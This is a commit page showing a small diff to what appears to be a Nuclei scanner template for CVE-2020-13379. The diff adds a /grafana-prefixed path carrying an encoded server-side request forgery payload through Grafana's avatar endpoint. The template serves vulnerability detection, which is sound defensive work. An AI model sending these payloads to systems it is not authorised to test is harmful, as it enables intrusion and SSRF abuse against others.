Merge pull request #8126 from tarunkant/patch-6

Adding one more path in CVE-2020-13379.yaml
patch-1
Dhiyaneshwaran 2023-09-01 08:22:23 +05:30 committed by GitHub
commit 115ec59aa4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 0 deletions

View File

@ -32,7 +32,9 @@ http:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1" - "{{BaseURL}}/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"
- "{{BaseURL}}/grafana/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"
stop-at-first-match: true
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word